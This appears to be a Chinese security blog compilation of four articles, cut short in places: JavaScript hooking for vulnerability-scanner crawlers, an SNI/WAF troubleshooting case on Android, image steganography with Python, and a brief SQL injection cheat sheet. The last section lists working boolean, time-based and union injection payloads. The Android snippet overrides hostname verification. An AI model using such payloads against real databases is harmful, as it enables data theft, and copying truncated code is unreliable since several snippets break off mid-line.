关于爬虫本地JS Hook的研究

0x00 背景介绍 最早的爬虫,只需要能够从服务端获取到HTML代码,进行分析即可,随着Web2.0的普及,越来越多的网站都必须JavaScript解析之后才能正常显示。因此这也对爬虫提出了新的要求,当前前人们已经在爬虫中集成Webkit等框架来满足这样的需求。 本文将从实际漏洞扫描器项目中,爬虫遇到的一个问题作为切入点,简单的介绍一下爬虫过程中一些JavaScript上Mock或者Hook的技巧。 0x01 需求 这里需求主要有两个: 场景一:弹框阻碍流程 在网页中存在alert,prompt等弹出框,如果没有取消会造成webkit某些API运行异常。当前针对alert的情况,通常的框架都提供一些额外的解决方案,比如PhantomJS的onAlert()函数,Selenium的switch_to.alert().accept()。但是我们还是想和场景二一起使用Hook的方法来解决。 场景二:记录指定函数被调用情况 存储型XSS的验证过程通常分为Payload的注入和执行情况验证。作为一款优秀的扫描器(没错,说的就是华为云漏洞扫描服务),注入的Payload一定不能对目标系统有危害,因此我们通常会选用一些温柔的函数,比如console.log,而非alert或者随机不存在的函数。但是当第二次爬虫在爬取过程中,如何统计Payload触发的情况,就会成为一个难题。 0x02 JavaScript Hook 函数的Hook,其实就是在函数被调用前,对函数进行替换。 var old_alert = window.alert; window.alert = function(message){ console.log("receive: " + message); old_alert(message); } 上面的例子是对alert函数增加一个日志打印的功能。 Hook很简单,现在唯一的问题就是要在函数执行之前就进行替换,很多函数是在网页加载中(head部分)或者网页加载完成后立即就执行了,没有空隙给我们替换函数。 0x03 注入实战 PhantomJS 它是基于QT和Webkit的无头(Headless)浏览框架,因为其不依赖Xvfb,资源占用比较小,有段时间非常受大家欢迎。其Project的Owner已经宣布不维护了,现在版本定格在2.1.1。PhantomJS良好的接口,使其能够非常方便的支持JS代码注入。 假如某个网页(http://fake.hack.com/location.html) 会获取地理位置,只有指定位置的用户才会进行下一步处理。 var webPage = require('webpage'); var page = webPage.create(); //页面初始化之前插入一段JS page.onInitialized = function(){ //模拟地理定位. page.injectJs("fake-location.js"); }; fake-location.js的代码也非常简单,内容如下: window.navigator.geolocation = { getCurrentPosition: function (success, failure) { success({ coords: { //模拟华中科技大学产学研基地 latitude: 22.52902, longitude: 113.

WAF和SNI的前世今生

0x00 背景 近日笔者收到一个WAF旗舰版客户反馈的问题,他们的APP在部分安卓机上无法正常使用,取消WAF后又正常。首先客户的站点是HTTPS的,然后出问题的终端是部分系统版本比较低的安卓手机,这里可以初步判断是因为这部分终端不支持SNI造成的。 SNI具体的内容在第三节中将会详细介绍,请稍等。 0x01 定位 为了验证我们的推断,我在自己模拟器上面安装了客户的APP,针对手机浏览器和APP分别进行抓包,查看SNI的情况。 这里我们模拟器使用的Genymotion,系统采用的安卓5.1.0,大概的截图如下: TIPS:这个模拟器是基于X86架构,跑起来非常快,但是我们目标APP是ARM架构的,直接还不能运行,我们需要安装额外的ARM-Translate的,这个就不在本文中介绍了,后面我会专门有文章来介绍,或者有需要的朋友可以直接联系我。 我们就在宿主机上面用Wireshark抓包即可,抓包过程也非常简单,就是分别使用浏览器打开目标网址和用APP登录,我直接给出抓包截图,我们对比看一下吧。 首先是浏览器的抓包: 后面这个是APP的包 两者区别在于SSL握手时候Client的扩展字段有没有SNI字段。 0x01 SNI介绍 SNI是Server Name Indication的缩写,是为了解决一个服务器使用多个域名和证书的SSL/TLS扩展。它允许客户端在发起SSL握手请求时(客户端发出ClientHello消息中)提交请求的HostName信息,使得服务器能够切换到正确的域并返回相应的证书。 在SNI出现之前,HostName信息只存在于HTTP请求中,但SSL/TLS层无法获知这一信息。通过将HostName的信息加入到SNI扩展中,SSL/TLS允许服务器使用一个IP为不同的域名提供不同的证书,从而能够与使用同一个IP的多个“虚拟主机”更方便地建立安全连接。 SSL握手 HTTPS其实是将HTTP的请求使用TLS加密后使用TCP协议传输给目的方,几者之间的关系如下: TLS加密需要需要在TCP连接建立之后,双方进行SSL握手,协商随机数和证书。大概的过程是这样的: 这里和我们这次文章比较相关的部分就是客户端发送Hello后,服务端返回证书,客户端校验证书有效性。 NGINX反向代理 在现在互联网时代,IP地址越来越紧张,因此我们经常会将多个域名或者网站使用同一台服务器,同一个IP。NGINX通常就是这样的网关。当一个HTTP请求到达时候,NGINX会通过HTTP请求中的Host头来决定转发目的服务器。 NGINX要能够正常的转发,那么它必须能够解析HTTP协议,从上面图中,我们可以看到HTTPS请求中HTTP内容被TLS加密,NGINX在使用前必须进行解密,而解密需要双方协商证书。好的,问题就来了,如果是多个HTTPS网站共享一个IP和端口,SSL握手时候,服务端如何正确选择域名证书传输给客户端呢? 为了解决这个问题在RFC 6066中对TLS的扩展进行了定义,其中就提到了在握手阶段一个server_name的扩展,它的内容就是域名的名字。服务端在接收到含有SNI的Client Hello后,根据其内容,去选择该域名的证书返回给客户端。 因此从上面的解释看出来,这个问题并不是只有WAF才会存在,而是绑定了同一个IP+端口的多个HTTPS网站都会遇到这样的问题。 0x02 APP分析 在上面定位中,我们同一个系统,浏览器携带了SNI,但是客户的APP没有,因此我们决定对客户的APP再进行一轮分析。这里需要使用到JEB工具对客户的APK进行逆向分析。根据activity去查找登录方法所使用HTTP包即可。我们最后定位到MobileHttpClientManager类,实现的代码大致如下: 从代码里面看到,使用的SDK默认的DefaultHttpClient,从相关文章我们知道HttPClient默认是不使用SNI的。 0x02 解决方案 Android 通常情况下,我们可以使用其他默认支持SNI的库,比如URLConnection,OKHttp等 HttpsURLConnection try { URL url = new URL("https://www.huaweicloud.com"); U RLConnection urlConnection = url.openConnection(); HttpsURLConnection connection = (HttpsURLConnection) urlConnection; connection.setRequestProperty("Host", "www.huaweicloud.com"); connection.setHostnameVerifier(new HostnameVerifier() { @Override public boolean verify(String hostname, SSLSession session) { return HttpsURLConnection.

图片隐写术介绍

隐写术是将文本或者文件隐藏到图片文件中,从而实现信息的屏蔽. 本文主要介绍关于Python的steganography包以及相关的用法,以及编程中使用说明 安装 pip install steganography 用法 命令行 steganography包安装之后,命令行中会存在一个steganography的可执行脚本. 加密 steganography -e 原始图片 加密后的图片 "加密的文本" 加密 steganography -d 加密后的图片 代码引用 from steganography.steganography import Steganography # hide text to image path = "/tmp/image/input.jpg" output_path = "/tmp/image/output.jpg" text = 'The quick brown fox jumps over the lazy dog.' Steganography.encode(path, output_path, text) # read secret text from image secret_text = Steganography.decode(output_path) 以后都这样尝试了. 后续 在使用过程中,发现如果是windows存进去的中文文本解码之后可能会存在乱码的情况,这个就是编码的问题了,而且存入的内容没有经过加密的内容直接存入还是不安全. 经过以上分析,我决定自己重写一个脚本. 内容如下: #! /usr/local/bin/python # -*- coding:utf-8 -*- import sys from steganography.

SQL注入

SQL注入

手工党

boolean型盲注

'
--
' or '1'='1
id=2 and substring(username,1,1)='y' and '1'='1
id=2 and ascii(substring(username,1,1))=65 and '1'='1
id=2 and length(usernam)=5 and '1'='1


时间盲注

id=2 and if(version() like '5%',sleep(100),'false'))--

union联合查询

#union联合查询时,查询列数要一致
union select 1,1,1--
union select version(),1,1--

工具党

sqlmap

sqlmap支持五种不同的注入模式

  1. 基于Boolean型的盲注
  2. 基于时间的盲注
  3. 联合查询注入
  4. 基于报错注入
  5. 堆查询注入